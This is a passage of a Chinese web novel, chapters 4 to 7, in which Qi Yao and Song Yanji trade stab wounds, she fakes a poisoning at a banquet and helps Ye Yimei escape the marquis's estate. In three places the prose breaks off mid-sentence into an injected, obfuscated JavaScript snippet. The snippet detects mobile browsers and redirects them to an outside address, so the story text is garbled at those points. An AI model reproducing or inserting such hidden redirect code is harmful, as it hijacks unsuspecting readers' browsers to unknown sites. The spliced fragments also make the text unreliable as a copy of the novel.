祁谣很少有这样面色难看的时刻。她紧皱着眉,血色浸染了整只手。身体避痛的本能叫嚣着抽离,却还是咬牙坚持着。 力量上的差距随着僵持时间拉长而逐渐显现,即便祁谣全力抵抗,剑尖还是一点一点向前探去,眼看着就要抵上血管—— “世子!原来你在这儿。” 偏僻幽静的小路上,响起了第三人的声音。 语速虽然快了些,但这含笑的语调却是分外熟悉,祁谣进门前才听过。 宋厌疾显然也分辨出来人,松了几分力,收剑归鞘:“崔大人。” 崔玉停步于宋厌疾身旁,视线在他俩之间来回打转,最后惊讶地指向地上一滩血迹。 “发生什么事了?怎么流了这么多血?” “哎呀呀!这位姑娘的手——” “世子,这究竟是怎么一回事呀?我方才见你剑身上还有血......” 崔玉装得一派天真语气,好像他一点儿也看不出来其中缘由似的。 他这是在......为自己解围? 祁谣正要开口将这双簧唱下去,却被宋厌疾先行打断。 “方才与这位姑娘生了些齿舌之纷,如今冷静下来深觉惭愧。” 方才还一脸狠相的人,此刻正垂眉满脸歉意,倒真像是乖乖认错的世家子弟。一双动人桃花眼极具欺骗性,看谁都深情又真切。 祁谣被膈应得后退一步,本就苍白的面色更是泛上一层青。 她从来不吃哑巴亏,右手还在淌血,眼下又是自己占理,断不可能让宋厌疾分毫无损地将这事揭过。 “人一旦做了亏心事,不补偿点什么难免良心不安。宋世子既觉歉疚,打算给我什么赔礼?” 宋厌疾看她的眼神无比诚恳。 “自然是要好好向祁姑娘补偿一番的。说吧,想要什么?哪怕是天上挂着的星辰月亮也能摘下来,只要你高兴。” 她也姓祁? 崔玉面容凝滞一瞬。这副总是微笑着的面具罕见地裂开一丝缝隙,流露出假面下掩埋着的真情实感。 然而将交锋从肢体转移到言语上的二人并未注意到这份微小的变化。 “宋世子光会说漂亮话了,诚意却看不到。” “不过我不需要高远的星辰明月。” 祁谣微微歪头,“笑盈盈”地望着他。看着柔情似水,却无半点真心。 “我只要眼前的这位世子——” “为我闭上眼。” 4. 4 还手 闭上眼?她要做什么? 宋厌疾微眯起眼,抱剑歪头,借由身高优势从上而下地打量,直勾勾投来的视线锐利得像要洞穿她的心思,看看葫芦里究竟卖的什么药。 上辈子看惯了冷脸冷笑,甚少见她这副单纯无辜的表情。她的瞳色较浅,眉眼有一种天生的淡然气质,无情无欲波澜不惊,如同世外仙人一般。 装得有模有样的。要不是他已经在祁谣手里死过一回,简直要信以为真了。 宋厌疾在心底嗤笑。 祁谣将他的犹豫看在眼里,笑意敛下去几分,垂眸故作低落:“我只要世子殿下闭上眼,这也做不到吗?” 哼,还用上激将法了,他可不会被这些小伎俩裹挟。 但是话又说回来了......只是闭个眼,也不会怎么样吧? 祁谣还能趁机捅死他不成?崔玉可在旁边看着呢,敢动手就是一个人赃并获。 料定她不敢,宋厌疾悠悠照做. “哝,闭上了,想对我做什么?” “先说好,赔礼不赔色。"宋厌疾懒洋洋地阖上眼,“往脸上画王八也不行......” 话音骤停。宋厌疾动作一滞,不自觉屏住呼吸,连带着大脑也紧绷起来。 人有五感,当其中一支封闭起来时,剩下的便会成倍放大所知所感。 比如此刻,他从未这么清晰地感知到祁谣的气息正在逼近自己。 鼻尖似乎萦绕着一缕若有若无的清香,无端让他联想到白山茶,但这一息比起白山茶却更冷冽一些。 她凑这么近?到底想干嘛? 宋厌疾甚至不需要睁开眼都能自行想象出来这道清瘦的身影是怎样站在他面前,隔了几尺。倘若自己睁眼,那双月辉般的眼眸又会在视野中占据多少位置。 再近一些,一会儿睁眼所见的就是天上月掉在自己眼前了。 不对,他在想些什么乱七八糟的。 宋厌疾微恼。 月亮莹白,她心这么黑,怎么能相提并论? 距离除夕就剩一旬,冬夜里的寒风逍遥,不知是谁的发丝被一阵阵拂起,飘落,再拂起,反复扫过他衣领之上裸露出来的肌肤,泛着丝丝缕缕的痒。 连头发丝都在挑衅他?! 宋厌疾心里无端一阵焦躁,嗓子也仿佛干涩起来。他将这归结于冬日干冷气候不佳的缘故。 收个赔礼的工夫有这么漫长吗?还是因为他阖上眼,所以对时间的感知也迟缓了? 或者说......她索要的“赔礼”就是这么靠近一下? 祁谣不会做无用功的事。靠近一下对她有什么好处? 她不会找个崔玉的视觉死角给自己撒毒药粉吧?! 宋厌疾越想越深觉可信,以祁谣的阴险手段,完全干得出来。 他满眼警戒,倏地睁开眼。 祁谣正准备下手呢,眼前人垂落的长睫却突然掀起,蜜浆般的瞳色里映出怔愣的自己。 她只讶然一瞬,很快便调整好表情,凑到宋厌疾耳边,垂眸低笑一声。 声音轻到只有彼此能听见,凉飕飕的。 “世子睁眼得正是好时候。” 话音刚落,宋厌疾还未来得及揣摩其中意味,右手心霎时间传来一阵刺肉剜骨的剧痛。 他当场倒抽一口冷气,痛感还在向四周发散,延伸,不断扩大,仿佛要将头皮硬生生撑开。 "你......!" 宋厌疾紧咬牙关,狠狠瞪了一眼祁谣,才低头看向疼痛来源。 他的右手心如今血淋淋一片,作案工具刚被祁谣拔出,正是先前挑飞的那只匕首。 以牙还牙! 趁着闭眼的工夫,祁谣竟然捡起匕首刺他! 崔玉还在边上看呢,她怎么敢?! 祁谣下手不轻,激得他额头直冒冷汗,眼眸一转,却见崔玉也是目瞪口呆。 三人之中,祁谣最为淡定,不慌不忙地举起自己同样狼狈的右手挥了挥。 “先前虽是世子一时冲动,可我的右手却已成这副模样。纵使世子心里忏悔一百遍,我的伤也没法即刻复原无损。” 祁谣故作叹气。 “事已至此,思来想去唯有世子以血肉作赔,与我共尝伤痛滋味,赔礼才算是赔到心坎上了。” 崔玉震惊地看着她。 他早就看出祁谣非简单之辈,心下这么想不奇怪。 但......饶是她再心怀怨念,也不能这么直白地坦露出来,即刻报复啊! 君子报仇十年不晚,学宫小孩都懂的道理。这位祁姑娘怎么偏偏这么犟呢? 她若借索要赔礼的名头趁机狠敲一顿定北侯府的金库他都举双手赞成。可她竟然当面捅回人家一刀。 他好歹是冒着被宋厌疾起疑的风险来替祁谣解围,怎么反手就给自己捅出一个天大的篓子?! 小径上的气氛登时剑拔弩张。 宋厌疾听完她的说辞,探舌舔了舔上唇。他嘴唇上的血色都褪尽了,眼下正惨白着,仍牵出一丝阴冷的笑。 “好啊、好啊。” “你满意,我也痛快。” 他吐字一字一顿,几乎是咬牙切齿。 崔玉瞅了眼二人面色,一个大大方方笑里藏刀,一个心口不一阴沉森寒。 他试图转移话题,缓和一下气氛:“二位别眉来眼去了,先处理下右手伤势吧,血涌个不停看着怪瘆人的。” 说罢又望向宋厌疾:“这儿毕竟是定北侯府,召医师还得请宋世子来。” 宋厌疾收拢右手心,睨了祁谣一眼:“西厢房有几座空屋子,随我来。” 他放完话转身便走。祁谣步伐未动,还在戒备,生怕自己一个落单宋厌疾又要拔剑。 “愣着干什么,快跟上哇!”崔玉先她一步,跟在宋厌疾身后。 宋厌疾闻声转过头来,面色难掩不耐:“崔大人也需要处理伤势?” 崔玉笑答:“我生怕这一走你俩又打起来。我可是答应了管事要替他寻回世子的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749885|174289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,怎能无功而返?” “崔大人请便。” 宋厌疾转回头目视前方,祁谣才默默跟上。 崔玉见她一路都在发呆,便什么都没说。 事实上,祁谣正不动声色地观察周遭。一张图纸在脑海里徐徐展开,她将走过的地方添上记号,记住路线,一点一点描摹着脑内这张不够完整的定北侯府平面俯视图。 不知道叶以玫被关哪儿去了,她现在一点儿消息也没有。 一直到西厢房,侍女为他们推开门,里头已经有一位医师候着了。 宋厌疾和祁谣的右手颜色醒目,他俩一进门,便见那位医师凝眸定定地瞧着,面上虽覆着一层纱帘,眉眼却是严肃。 “一人一边坐下,我一个个瞧。” 宋厌疾和祁谣乖乖坐下。 祁谣抬眸,又看了眼医师,眸中的惊诧转瞬即逝,若无其事地眨了眨眼,仿佛只是眼睛干涩似的。 她的动作很快,只是一瞬间的功夫。宋厌疾没能注意到这一幕,站在一旁的崔玉却是眼尖地捕捉到了,心里顿时浮起几个猜测。 医师端起药箱取药,拭净血迹,一丝不苟地替宋厌疾擦上,最后用纱布包扎几圈,尾端打了个漂亮的结。 “好了,下一位。” 宋厌疾刚起身,崔玉就等候已久般上前提醒道:“世子这下可愿回去了?管事还在厅堂候着呢。” “不急,祁姑娘不是还没好么?”宋厌疾虽是回复崔玉,眼眸却似笑非笑地盯着祁谣看,“既是定北侯府的宾客,我理应亲自领路至宴席,免得祁姑娘又迷路一回,走到什么不该去的地方。” 他刻意拉长最后几个字的语调,意有所指,话语携着暗讽。 祁谣正要嘲讽回去,那位医师却已走到她面前,为难地“嘶——”了一声。 宋厌疾立马探头过来:“没救了?” 医师扯了扯嘴角。哪怕隔着一层面纱,也不难猜到她的表情正无语:“并非世子所想的那样。” “只是需要这位姑娘脱下袖衫,里衣的袖子挽上去让我察看一番。” 说罢又转头看向宋厌疾和崔玉:“还请二位背身回避片刻。” “不成。”宋厌疾果断否决,“我一背过去,祁姑娘又该趁机向我索要赔礼了。” 医师没听懂其中的意思,面露疑惑。 崔玉赶忙站出来圆场:“不如我们到屋外去?” 宋厌疾嗤笑一声:“那更糟了。屋子里就两人,祁姑娘这般七窍玲珑心,保不齐会打晕大夫趁机逃走。” 祁谣微笑:“未至宴席,我为何要逃?” “你说呢?”宋厌疾不答反问。 他与祁谣面对面,无声动了动嘴唇。 从口型看,他说的是—— 别、给、我、装。 祁谣眯起眼,嘴角弧度未变,眼眸却是冷下来。 “总之我不信任你。”宋厌疾勾起懒洋洋的笑,朝门口拍拍手心,“来人,将这位青裙子的姑娘绑起来。” 5. 公主 宋厌疾发什么疯?! 祁谣左右扫了眼整整齐齐站定于身侧的丫鬟,沉下脸色:“这就是贵府的待客之道?” 饶是一向游刃有余的崔玉都呆愣住了。 明明分开的时候两个人都挺正常的,心思很好懂,聚在一起就劈里啪啦地全都变了模样,不能按常理揣度。一个敢当面捅人证据齐全,另一个更是演都不演,不由分说直接绑人。 他忍不住好奇,这两人之间到底有什么纠葛,能让彼此一碰上对方就行事狂野,一个赛一个癫,真是叫他开眼了。 就连医师也皱起眉,颇不认同:“这更难止血了……手臂绑着上药也不便。” 宋厌疾大手一挥:“那就将她的小腿和座椅绑起来,其他全拆了。” 先前的丫鬟来也汹汹拆也汹汹,利落照做。 从进门到现在,宋厌疾的视线一直锁在祁谣身上,叫人很难不注意。偏偏本人却毫无自觉,也不收敛,仿佛盯着祁谣看对他来说是什么理所当然的事情。 他弯腰揪起绑带的另一端甩了甩:“祁姑娘放心,我们待客用的是缎带不是粗绳,只要你老老实实坐着,一点儿感觉都没有。” 祁谣这会儿已经面无表情,一个眼神都懒得施舍给他。 医师强压下心中的不耐烦,上前几步挡住他望向祁谣的视线,催促道:“世子心安了就赶紧背过身去,再磨磨唧唧这位姑娘血都要流完了。” 宋厌疾眼神淡漠地打量了她一眼,依言转过身去。捉弄了祁谣一回,他现在的心情好到能哼歌。 "先把袖衫脱下来。" 医师吩咐完便轻轻挽上祁谣袖子,耐心地重复一遍先前的包扎流程。 打结收尾前,她面不改色地将一张两指宽的纸条递到祁谣完好的左手心。 ——叶以玫被关在南房。 祁谣抬眸与她对视,无声点头,示意自己记住了。 医师不动声色将纸条收回,藏在衣襟里,最后若无其事地打完结。 “好了,二位可以转过来了。”她完成工作后,开始收拾自己的药箱,“如果没有其他吩咐的话,我就先告退了。” “大夫留步。”宋厌疾突然叫住她。 医师脚步一顿,调整好表情,回过身面色坦然:“还有什么事?” 面纱遮住了下半张脸,只露出一对温和的眉眼,瞧着眼生。 哪怕是上辈子,他也不曾在祁谣身边见过。 宋厌疾随口问道:“大夫医术高明,敢问出自哪家医馆?” “杏林堂,李星歌。” 陌生的名字。 刚浮上心头的那分猜疑沉消下去。宋厌疾礼节性地点点头,待李星歌离开,吩咐下属从库房拿点名贵药草送去。 祁谣注视完这一切,冷声道:“给我松绑。” 宋厌疾这回没使唤侍女,亲自拔剑三两下挑断。低下眼神往裙角看了看:衣褶自然,一丝被捆绑过的痕迹也无。 他收剑入鞘时悠哉转了个圈:“怎么样,是不是一点儿感觉也没有?欢迎下次再来体验。” 祁谣起身时掸了掸衣裙,没理会他夹枪带棒的话语,转头就往门口走,一刻也不想多待在离宋厌疾近的地方。 唇舌相讥的戏码暂时落下帷幕,崔玉默默收起吃瓜心态,认命般又出来打圆场:“插曲结束,这下世子可愿回厅堂了?” * 与全场身份最显赫的两个人同行步入宴席简直糟糕透顶。 宋厌疾还嫌不够低调似的,特地添柴加火,将位置轮换成祁谣站中间,美名其曰是护花使者。 左边是当朝风头正盛、无数人都想攀附的丞相崔玉。 右边是今晚洗尘宴的主角、定北侯府唯一的世子殿下。 祁谣夹在中间,被迫出尽风头。 三人步伐踏入厅堂的那一刻,屋内喧闹的人声不约而同息下来,齐齐转头望向这边,眼里无一不是怔愣,上上下下将祁谣打量个遍。 顷刻便有人窃窃私语起来。 “中间的那位姑娘是什么来头啊?” “我从没见过,竟能让宋世子和崔大人都站一边去了......难不成是皇宫里的人?” “不对不对,如今宫中可没有这般年岁的公主。” “我倒觉得这位姑娘有些眼熟,好像在哪儿见过似的。” “这么一说我也觉得,哎,是不是有点像姜望舒啊?” 另一人面色惊骇,连忙捂住同僚的嘴,左顾右盼。 “你疯了?!公主名讳也敢直呼?” “大惊小怪什么?”同僚无所谓耸肩,"你是新来京城的不知道,前些年有人在御前直呼,陛下都没降罚。" “大伙儿私底下都猜陛下不喜这位公主呢。这也不奇怪,毕竟她的生母是祁斐君,和陛下向来不对付。” “姜望舒摊上这么个生母,陛下不迁怒她才怪呢。” 他顾着显摆自己捕风捉影听到的那些皇室秘闻,越说越起劲,全然没注意到周边的人群正默默疏远,就连和他聊天的那位同僚也悄然退开几步撇清界线。 他的报应来得很快,嘴巴还在喋喋不休,一柄剑鞘却横飞来,重重拍在脸上,晃了晃,抖出一截锋利的剑身,银亮如冷霜。 无人察觉到,几乎是同时,一枚银针借着剑鞘的遮挡,飞入他衣襟里。 他眼珠向下挪移,剑刃已经抵到眼下的皮肤,当即吓傻了,惊慌乱叫起来:“有刺客!有刺客!来人哪!” 然而并无任何侍卫上前掩护。除了他,所有人都没反应,静到了极点。 他这才意识到什么似的,猝然抬眸看向那一道人群空隙的尽头。 宋厌疾正背着月光,缓缓走来,面色冰寒。 “造谣造到宫里去了,脑袋不想要了?” 先前无所谓的人这会儿却是冷汗涔涔,连连下跪磕头:“冤枉、冤枉啊!世子这几年不在京中有所不知,小人所说的句句属实!” 崔玉突兀地嗤笑一声。他这一笑,众人的目光纷纷转向,那人像是抓住救命稻草一样爬过来。 “崔大人,您一向仁慈,小人……” “嘘。”崔玉垂着眼,竖起食指抵在唇边,他的嘴角仍是向上勾着,却让人觉得一丝笑意也无。 “你说世子殿下离京所以不知。” “但这几年,崔某一直在京中,怎么也不曾听过这等污言?” 那人一听,整张脸都垮下去了,心下了然。 宋厌疾和崔玉都不打算放过他。 不行......要是因一时多舌被定上这等罪名,他的仕途就再也别想高升了。 还有谁能救救他……还有谁不惧这两人……? 他猛地抬起头,把最后的求救希望寄于中间的那位姑娘。 祁谣似有所觉,朝他露出一个意味深长的微笑。 他内心一阵狂喜,就知道这些姑娘心软好拿捏! 然而还没等他开口伸冤,祁谣却蓦然大咳起来,动静太大,一时吸引了全场目光。 “咳、咳咳咳!” 人群之中,有人惊叫起来:“她的嘴角有血!” “这......这血怎么是黑的?!” 宋厌疾瞳孔一颤,顿时回首,映入眼帘的是她极糟糕的模样:一道乌血从嘴角溢出,在少女苍白清冷的脸上存在感极强。她抹了一把嘴角的血,张开手心似是想看个清楚,眼神却无法聚焦,整个人如同飘零的孤叶摇摇欲坠起来,眼看着就要栽倒—— 宋厌疾大跨步上前,几乎是出于身体本能地先一步弯腰扶住。 祁谣已经昏迷过去。有些凉的身躯贴在怀里,他的第一反应竟然是她身上的衣服太薄了,在大冬天里很容易着凉。 不对,他在胡思乱想什么?!祁谣只要别草率到被冻死,其他的都和自己没关系! 宋厌疾有些不自在地拉开一点距离,两指捏着祁谣的脸,往上抬察看。 “果然是毒。”他沉声道,顾不上男女有别,抓起祁谣垂落的小臂,拉开袖子。 苍白莹玉的肌肤上,一枚银针正挺立着,针尖发黑。 不是意外中毒,而是人为。 崔玉面色凝重起来,第一时间联想到不久前蒙着面纱的人影:“难道是那位医师?” 宋厌疾也想到了这一点,但很快便摇摇头推翻了这个猜想。 “不会是她。这枚银针上抹的毒只来得及侵入一小部分,说明离下手时间没过多久。” “凶手——就出自在场之人。” 他取下毒针握在手心,先吩咐人将祁谣送到西厢房请专人解毒。 此毒发作虽快,侵入身体的毒素却不多,不至于有性命之忧。 但宋厌疾还是很不爽。 他还没收网 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他蓦然顿住思绪,逃避似的不再往下想。表面上同这些人敷衍几句,实际却是心不在焉。 如今不用眼珠时时刻刻跟着祁谣跑,乍然有些不知所措。 那贼人是何时使的毒针?他就在自己眼皮子底下,看着没几把刷子,祁谣没反应过来躲开就算了,竟连自己也没察觉到吗? 他们可是面对面的站位,更遑论那人惹了麻烦,正是全场注意力的焦点。 宋厌疾垂下眼帘,食指关节抵着下巴,疑心这场意外另有隐情。 他们的推理太过顺理成章,简直就像是有人在背后一步步刻意诱导。 况且......按照前世的时间线来看,这会儿的祁谣低调得很,在朝廷眼中更是查无此人。那人又有什么下手动机? 他想不通。 “那位中毒的姑娘到底是什么人啊?” “当时世子殿下站在凶手前头,我本以为那毒针会朝世子去的,没想到竟是后面的那位姑娘中招了。” 宋厌疾猛地转头望向声音的来源,说话的人本就缩在边角,被他还没调整过来的严肃神情吓了一跳。 “呃......我们好像说错话了。” “把‘们’去掉,两句话都是从你嘴巴里溜出来的。大难临头各自飞,好兄弟,再见了!” 两人溜得飞快,宋厌疾还没来得及道谢——他们的对话无意间点醒了自己,将他从思维定式一把拉出来。 先前的推断困于毒针从前方来,是因为从那贼人身上搜出了毒针,而他又站在自己面前。 倘若——他真的对那枚毒针不知情呢? 别忘了,祁谣处于自己身后,是视线盲区。 她要是对自己够狠,完全可以自导自演再嫁祸给一个倒霉蛋。 目的,自然就是脱离他的视线,营救叶以玫。 只是宋厌疾还有一点不明白:她是怎么将毒针悄无声息藏到那人身上的? “抱歉诸位,失陪了。” 宋厌疾急匆匆离开宴席,大阔步往西厢房去。 他倒是不担心冤枉那人,光先前口出狂言就够定他的罪了。 他在意的另有其事。虽然推理过程缺了一环不够完整,但凭他对祁谣的了解,祁谣完全干得出来这种事。 他要尽快赶到西厢房确认。 6. 逃跑 西厢房屋内。 丫鬟轻声关门的同时,祁谣睁开眼,从床榻上坐起身。 她事先吃过解药,毒发起来只是看着唬人。 暂时摆脱了宋厌疾的监视,趁着医师还没到,她要换个行动更自由的身份,先把叶以玫捞出来。 她踮着脚小心翼翼挪到门口,仔细倾听外面的情况。 没有来往的脚步声,也没有交谈声,只剩一串很轻的呼吸声在规律起伏着。 祁谣悄然推开一丝门缝,一只眼凑上去张望。果真如她所料,除了门口候着医师的一位丫鬟外,过道上再无他人。 正是她脱身的好时机。 那名丫鬟背对着门,并未注意到后方动静。于是祁谣又无声将门缝打开了些,缓缓探出,一个手刃劈在她后颈。 她收住了力道,恰好能使人一时昏迷,却不至于留下伤病。 将人拖进屋内,她重新合上门。 再次开门出来,祁谣已然换成了丫鬟打扮,而这身装束原本的主人正躺在床榻上沉眠。 她随手抓了点粉往脸上蹭,显得灰扑扑的。 随即往南房去。 * 南房的一排屋子里,只有一扇门前立着两个把守侍卫,分外惹眼。 显然那就是关押叶以玫的地方了。 祁谣精通暗器,躲在墙后估算起距离和角度。 指间拈着银针,两针瞬发,不费吹灰之力便将人放倒。 这银针还是李星歌亲自捣鼓出来的,上面抹的毒能让人暂时失去行动能力,不危及性命。 “嘎吱”一声推开木门,里头的人闻声抬头,瞳孔一颤,眼里闪过惊喜。 祁谣手执匕首,三两下割断束缚她的粗绳,嘴上的封条也一把撕下。 叶以玫长舒一口气:“呼——你终于来救我了!饿死了!” “宋厌疾连口饭都不给你吃?” “我怕他下毒,一口没吃。”乍然恢复自由,她兴奋地搓手,“接下来是什么计划!老大!” 叶以玫是杀手出身,自小受着专门训练,身法灵巧善刀剑,暗器也用得顺手,武力值在自己之上。 瞧她这副憋屈久了要大干一场的架势,祁谣不用细想也知道她端的什么心思。 肯定想着拳打定北侯脚踢宋厌疾,将这关她的破地方踏平,再大摇大摆地走出去示威,像只老虎。 “和定北侯府硬碰硬是下下策。”祁谣的拳头轻轻敲在她头顶,“寡不敌众知道吗?凡事讲求策略,不要凭着一股劲儿蛮干。” 叶以玫苦下脸。 祁谣开始布置计划:“东偏门有一队外出采购的家仆,你换上丫鬟打扮,混在其中溜出去。” 她边说边脱下刚扒来的丫鬟着装,头巾也扯下来给叶以玫系上。 “那你呢?”叶以玫问。 “我从西厢房溜出来,估摸着这会儿医师快到了,他们马上就会发现我不见了。” “我猜宋厌疾得知消息会第一时间封锁侯府,你要在此之前逃出去。”祁谣翻出顺手拿来的一盒脂粉,往叶以玫脸上扑了几下,脸色暗黄下来,乍一看和先前两模两样的。 叶以玫乖乖地任她拍:“你不和我一起吗?” “分头行动更稳妥,出了什么变故我可以帮你拖住时间。等宴席结束,我会和其他宾客一起离场。”祁谣将人收拾好,拍了拍肩,“去东偏门,剩下的我来善后。” * 与此同时,西厢房内明明站了不少人,却一片死寂。 宋厌疾坐在官帽椅上,双腿交叠,单手支着侧脸,看起来一副懒洋洋的姿态,嘴角却抿着,神色晦暗不明。 底下的人大气都不敢喘一声,先前负责看顾的那名丫鬟更是吓得跪伏在地,额头紧贴地面不敢抬起。 该说的话她都交代完了,世子听后却未置一言,自顾自发呆着。 他没动静,其他人更是不敢有,战战兢兢地等待号令。 空气又沉静片刻,宋厌疾抬眼,视线飘飘然落在眼前这名丫鬟身上。 侯府统一的丫鬟着装被祁谣扒去了,而属于祁谣的那件月白长杉正披在她身上,柔弱无力地垂落,铺散在地。 宋厌疾莫名觉得碍眼。 “祁谣狡猾,中了毒还不老实,并非全是你的错。”宋厌疾摆摆手,“起来吧,去换身衣服,这件长衫可以烧了。” 丫鬟径直退下,正要松一口气时,官帽椅上的人又冷不丁发话了。 “停。衣服就丢这里,我亲自烧。” 她有些莫名,却还是点头照做,将长衫褪下来,叠好整整齐齐放在门口。 待人退下,一直在身侧候命的侍卫头领觑了眼宋厌疾的脸色,比先前缓和一些了,才敢小心翼翼发问:“先前遣出去的人回禀说,南房里关着的通缉犯不见了......是否需要加派人手?” “加。”宋厌疾站起身,斩钉截铁道,“封锁侯府,正门偏门各派一半人看守,丫鬟打扮的要尤其留意。” “是。” 宋厌疾看着人退下,最后扫视一圈祁谣曾短暂待过的地方。 居室里,酷似白山茶的清幽香气若有若无,像飘渺的晨雾,一点点散开,却真真实实宣告着她曾经在场。 他眯着眼,深深呼吸,将这些意图逃散的、属于祁谣的气息,一一掠夺回来,禁锢在自己的气管里。 重新睁开眼,他舒展手掌,关节活动的脆响在安静的居室里分外突兀。 先前从叶以玫身上搜来的几枚暗器,大抵也是出自祁谣之手。正被他藏在衣袖里随身携带,必要的时候说不定会有奇效。 侯府已被封锁,祁谣既然在离开西厢房的第一时间选择了去救叶以玫,那么剩下的时间便必然不够她在侯府封锁前逃出生天。 自己眼下要做的,只是瓮中捉鳖。 宋厌疾弯起唇角,只觉得心情前所未有的畅快。 祁谣就快要落到他手里了。 事实和宋厌疾料想的所差无几。 为了确保叶以玫逃脱无虞,祁谣故作意外,迎面撞上正要前往东偏门的侍卫,拔腿就跑,将人往相反的方向带。 同样的,自己也离出口越来越远。 她的体能不及侯府里的常年习武人士,再这样你追我赶下去,自己毋庸置疑是先竭力的那一方。 本就不指望甩掉侍卫全身而退,那就更没有继续同他们耗下去的必要了。 她要做的,是拖时间。 只要在宴席散场之前藏好自己不被宋厌疾发现,她就能混入大众悄无声息离开。 身上携带的毒针一一就位,反手向后齐发,趁着侍卫或侧身或后退闪避的间隙,祁谣一溜烟钻进了窗户里。 她早就对翻窗轻车熟路了,却在定北侯府栽了个跟头。 祁谣瞪大了眼睛。 这间黑漆漆的屋子里竟还有别人! 意识到这一点的同时,匕首已经从袖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749887|174289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口翻出来,刃尖抵在另一人脖颈处,威慑力十足。 “不准出声。” 她方才翻进来正是由于踩到了此人,才一个踉跄险些站不稳。 屋内一片昏黑,比自己高出一截的身形拦住了月光。 祁谣仰起头,面对面也瞧不清对方的长相,抬眼只能看见利落的下颌轮廓,再往上便只有一片墨黑,像夜色存心捉弄她。 从身形判断,约莫是个成年男子。 他似乎被祁谣震住了,安安静静地配合着,只是身子被吓得轻抖。 祁谣见他安分,握住匕首的力道也松了些许,屏息留意着窗外的动静。 一阵急匆匆的脚步声由远及近,停留下来,紧接着便响起几人的低语声。 “她是往这个方向跑了没错…………” “那还不搜?一个角落也不能放过。” “可这儿是…………” 声音再度压低,断在了关键处,祁谣侧耳也听不清后面的词句是什么,心头升起躁意。 窗外零零散散地飘来几个模糊的字眼,细究起来却分辨不清,似乎有人提到了“世子”。 耳畔的呼吸存在感越来越强烈,急迫刮擦着耳根的肌肤,很痒,仿佛在拿狗尾巴草扫她似的。 祁谣肩头一抖,注意力也被打散。 他在紧张什么?还是在激动? 想要找机会向侍卫求救? 祁谣冷下脸,曲起膝盖,踢了踢“人质”的小腿,无声警告他不要打多余的小算盘。 “人质”非但没有老实,反而得寸进尺地轻笑出声,牵连起的气息完完整整地碾过她的耳侧。 彼此的距离近得非但呼吸可闻,连身体的一起一伏都能感知到。 祁谣几乎不曾和人紧贴至此,更不习惯这种和旁人气息交融的感觉。她本就对肢体接触敏感,眼前的“人质”不仅呼吸反复扫过她的耳根,隔着一层薄薄衣料的胸膛也随之颤抖起伏,若有若无擦过她紧握匕首的小臂。 身体像是不受大脑控制了似的,全然出自受到刺激的本能轻颤。 祁谣忍无可忍,又将匕首向前逼近一分,低声斥道:“别动了!” 然而眼前的“人质”对威胁无动于衷,笑意更深。 一片乌漆漆的暗色里,他的眼眸幽幽亮了起来,风驰电擎般一把握住祁谣的手腕。 变故发生得太突然。不等祁谣挣扎,腕上的力道骤然收紧,匕首脱力掉下来,清脆的落地声很快吸引了侍卫朝这边靠近。 脚步声越来越清晰,直直冲向他们所在的这间屋子。 祁谣面色一凛,当即就要使暗器反击。那人却早有预料似的,指间掐着三枚银针,先发制人,刺向剩下的那只手。 他们离得太近,容不下一点可供躲避的空间。 祁谣死死盯着他,试着活动手臂,果然没有反应。 左手麻痹不受使唤,右手被人死死按住,不为自己所控。 那人拽着祁谣调换了身位。此刻他不再居于阴影中,坦然迎着月光,整张脸都清晰明亮地暴露在祁谣的眼眸里。 唇瓣薄薄一片,嘴角似弯钩,一双含情桃花眸盈满了愉悦笑意,状似深情款款,手上的动作却毫不怜惜。 他单手掐住祁谣下颌,强迫她仰起头注视自己,语调缠绵,每个字眼都像是从唇齿间碾磨出来的:“很高兴再次见到你,今夜的幸运儿。” “叮当”一声响起,是手铐扣上的声音。 7. 乌龙和恨海情天 宋厌疾瞥了眼掉落在地的匕首。 看着朴实无华,刀柄有多道刮痕,使用痕迹明显。但刀身却擦得锃亮,被主人保养得很好。 上辈子,他的性命就是斩自这把短刀之下。 侯府侍卫们循着先前的动静前来,所见的就是这么一幕: 自家世子掐着一位姑娘的脸,眼神一股黏劲儿,恨不得把人家吃了。两个人挨得极近,挺翘的鼻尖就要碰上。 “!!!” 一群人如原地霹雳,整齐划一地瞪大眼睛。 “看什么看!快走!别扰了世子的好事!” 此时站出来发号施令的人名叫徐义,是这群侍卫中的领头。凭借自己在侯府多年积累的职场经验,意外撞见眼前这副情景,他的第一反应就是移开视线,掉头,发誓自己什么都没看到。 要的人没找到,还敢来打搅妙龄男女亲近。 徐义灰溜溜地低下头,仿佛已经在地上看见多年饭碗碎裂的样子了。 一群侍卫轰轰烈烈地冲过来,又企图悄无声息地离开。 然而他们人数太多,再怎么蹑手蹑脚也做不到低调。平日的训练有素全体现在了队形和动作的整齐上,十来名高大壮硕的侍卫蹑手蹑脚得像毛贼方阵。 宋厌疾见状嘴角一抽:“徐义,你们在做什么?” 徐义如同视死如归一般,转身就是滑跪,两掌合十,声音沉痛有力:“启禀世子,我们什么都没看见!” 